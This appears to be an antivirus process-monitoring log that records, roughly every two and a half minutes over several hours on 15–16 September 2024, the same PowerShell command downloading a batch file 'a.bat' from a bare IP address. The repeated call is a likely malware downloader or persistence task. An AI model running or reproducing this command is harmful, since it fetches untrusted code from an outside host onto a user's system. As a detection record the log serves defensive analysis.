C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:53:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:56:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 18:58:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:01:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:06:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:08:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:11:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:13:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:16:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:18:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:21:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:23:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:26:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:28:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:31:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:33:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:36:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:38:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:41:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:46:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:48:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:51:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:53:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:56:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 19:58:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:01:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:03:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:06:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:08:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:11:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:13:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:16:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:18:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:21:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:23:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:26:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:28:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:31:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:33:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:36:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:38:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:41:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:43:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:46:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:48:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:51:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:56:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 20:58:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:01:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:03:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:06:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:08:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:11:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:13:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:16:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:18:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:21:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:23:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:26:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:28:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:31:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:33:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:36:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:38:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:41:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:43:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:46:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:48:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:51:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:53:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:56:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 21:58:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:01:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:03:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:06:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:08:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:11:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:13:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:16:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:18:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:21:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:23:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:26:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:28:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:31:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:33:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:36:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:38:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:41:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:43:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:46:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:48:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:51:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:53:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:56:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 22:58:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:01:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:03:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:05:56 AVAVER: 21.2.2455 AR2: 240830 defs: 24091504 2024-09-15 23:05:56 ARPOT2: Start 4992 2024-09-15 23:05:56 AR2CFG: 240830 2024-09-15 23:05:56 AR2DEV: Start 1 Driver: 210305 2024-09-15 23:06:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:08:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:11:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:13:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:16:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:18:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:21:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:23:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:26:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:28:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:31:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:33:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:36:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:38:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:41:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:46:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:48:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:51:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:53:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:56:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 23:58:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:01:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:03:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:06:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:08:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:11:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:13:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:16:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:18:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:21:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:23:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 00:26:21 NOTIFY: 